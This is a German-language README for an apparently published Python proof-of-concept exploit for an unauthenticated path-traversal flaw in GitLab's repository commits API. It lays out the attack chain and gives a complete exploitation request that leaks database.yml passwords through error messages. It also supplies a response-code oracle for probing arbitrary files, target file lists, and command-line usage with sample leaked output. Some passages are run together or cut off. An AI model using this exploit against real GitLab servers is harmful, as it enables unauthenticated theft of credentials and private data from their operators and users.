
Python-PoC für CVE-2026-85706, einen unauthentifizierten Path Traversal in der GitLab CE/EE Repository Commits API, der beliebige lokale Dateien über ein Vier-Zustands-Orakel preisgibt.
GitLabs „Commit erstellen"-API (POST /api/v4/projects/:id/repository/commits) erlaubt es, in einer einzigen Anfrage große Mengen an Dateiinhalten mitzuführen. Um zu verhindern, dass übergroße Request-Bodies direkt in den Rails-Parser gelangen, schreibt Workhorse den Request-Body zunächst als temporäre Datei auf die Festplatte und injiziert dann Metadaten wie file.path / file.size in die weitergeleitete Anfrage; der Rails-Endpunkt liest die Datei anhand dieser Parameter zurück. Die Angriffskette setzt sich aus vier Gliedern zusammen:
post ':id/repository/commits' enthält nur require_gitlab_workhorse! (prüft lediglich, ob die Anfrage „über Workhorse weitergeleitet" wurde); die eigentliche authenticate! verbirgt sich weiter hinten in authorize_push_to_branch!, während das Path-Traversal-Lesen davor stattfindet.file_params_from_body_upload behandelt die Request-Parameter file.path / file.size / Content-Type direkt als von Workhorse injizierte Metadaten, ohne die Herkunft der Parameter zu unterscheiden; File.read(file_path) kann so jeden beliebigen lokalen Pfad durchlaufen.Content-Type=application/x-www-form-urlencoded wird der Dateiinhalt an Rack::Utils.parse_nested_query zur Analyse übergeben; eine ungültige %-Sequenz im Inhalt löst ArgumentError: invalid %-encoding (<Komponenteninhalt>) aus, was über bad_request! unverändert in die 400-Antwort zurückgegeben wird. Es gilt „wer zuerst kommt, mahlt zuerst": & / = sind Komponentengrenzen, die Analyse bricht an der Komponente mit dem ersten ungültigen % ab und gibt diese Komponente zurück; ohne Trennzeichen wird die gesamte Datei als eine Komponente zurückgegeben (gültige %xx-Hex-Escapes lösen keinen Fehler aus)..../repository/commits\z), wodurch die gefälschten Parameter in den Inhalt der auf Festplatte geschriebenen Datei geschluckt werden. Ein / am Ende der URL passt nicht auf diese Regel und fällt in den signierten Reverse-Proxy als Fallback – der ursprüngliche Request-Body wird samt gefälschter Parameter unverändert an Rails weitergeleitet und trägt ein gültiges JWT, sodass require_gitlab_workhorse! durchläuft; nach der Grape-Normalisierung des Trailing Slash trifft die Anfrage weiterhin auf den verwundbaren Handler.Voraussetzung: Das :id in der URL muss ein tatsächlich existierendes Projekt sein (ein beliebiges öffentliches Projekt genügt); es ist durchgehend keine Anmeldung erforderlich.
Ausnutzungsanfrage (database.yml bei Deployment mit externer DB; enthält das Passwort eine ungültige %-Sequenz, wird der gesamte Abschnitt zurückgegeben):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
Antwort (die Komponente mit dem ersten ungültigen % wird vollständig zurückgegeben):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
Das Lesen erfolgt unter der Identität des git-Benutzers des Puma-Prozesses; die Antwort bildet ein vierstufiges Orakel:
Tatsächlich lesbarer Bereich unter Standard-Deployment (praktisch getestet):
% enthalten: CI-Build-Logs und -Artefakte, von Benutzern hochgeladene Anhänge, database.yml bei Deployment mit externer DB. Bei der standardmäßigen lokalen Socket-Peer-Authentifizierung ist das Passwortfeld in database.yml leer; nur bei Deployment mit externer DB hat es einen Wert.gitlab.yml: Die gerenderten Template-Kommentare enthalten bereits ab dem Dateikopf (etwa Zeile 19) Sequenzen wie 95%, %{key}, während die Credential-Konfigurationen (incoming_email, LDAP, Objektspeicher usw.) erst nach Zeile 170 stehen – „wer zuerst kommt, mahlt zuerst" bedeutet, dass unter Standard-Deployment nur der Kopfabschnitt zurückgegeben werden kann, der Credential-Abschnitt nicht ausgelesen werden kann; nur in Deployment-Varianten ohne störende Sequenzen (benutzerdefinierte Templates usw.) ist er lesbar. Zu beachten ist außerdem, dass das SMTP-Passwort (gitlab_rails['smtp_password']) nicht in gitlab.yml gerendert wird; tatsächlich hineingerendert werden incoming_email-, LDAP- und object_store-Credentials.secrets.yml besteht aus reinem Hex ohne %, der Inhalt kann nicht ausgelesen werden (401); , TLS-Privatschlüssel und Backup-Archive sind root-only (nur 500-Orakel).Implementierung mit der Python-3-Standardbibliothek, keine Drittanbieter-Abhängigkeiten. Das Skript interpretiert die vierstufigen Ergebnisse gemäß der obigen Tabelle automatisch.
python3 exploit.py -t http://<target>:<port> # liest standardmäßig gitlab.yml (schnelle Verifikation des Echos)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
Beispielausgabe (Standard-Deployment liest gitlab.yml – zurückgegeben wird der Kopfabschnitt, nicht der Credential-Abschnitt):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
Nur für autorisierte Sicherheitstests und Schwachstellenforschung.
| Antwort | Bedeutung | Beispiel |
|---|
400 local file not present | Datei existiert nicht | /etc/nonexistent |
500 Internal Server Error | Existiert, aber git-Benutzer hat keine Leserechte (Errno::EACCES unbehandelt); Parserfehler des multipart-Zweigs bei lesbaren Dateien landen ebenfalls bei 500 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | Existiert und ist lesbar, aber der Inhalt enthält keine ungültige %-Sequenz, daher kein Echo | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<Inhalt>) | Existiert, ist lesbar und enthält eine ungültige %-Sequenz – die betreffende Komponente wird vollständig zurückgegeben | Logs mit %, CI-Build-Artefakte, database.yml bei externer DB |
gitlab.rb/proc/self/*, Umrechnung von Projekt-IDs in @hashed-Pfade zur Erkundung der Existenz privater Projekte.| Parameter | Beschreibung |
|---|
-t | Ziel-GitLab-Adresse (erforderlich), z. B. http://<target>:<port> |
-f | Absoluter Pfad, der gelesen werden soll (Standard /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | Projekt-ID, ein beliebiges tatsächlich existierendes Projekt genügt (Standard 1) |
-o | Den ausgelesenen Inhalt in eine lokale Datei speichern |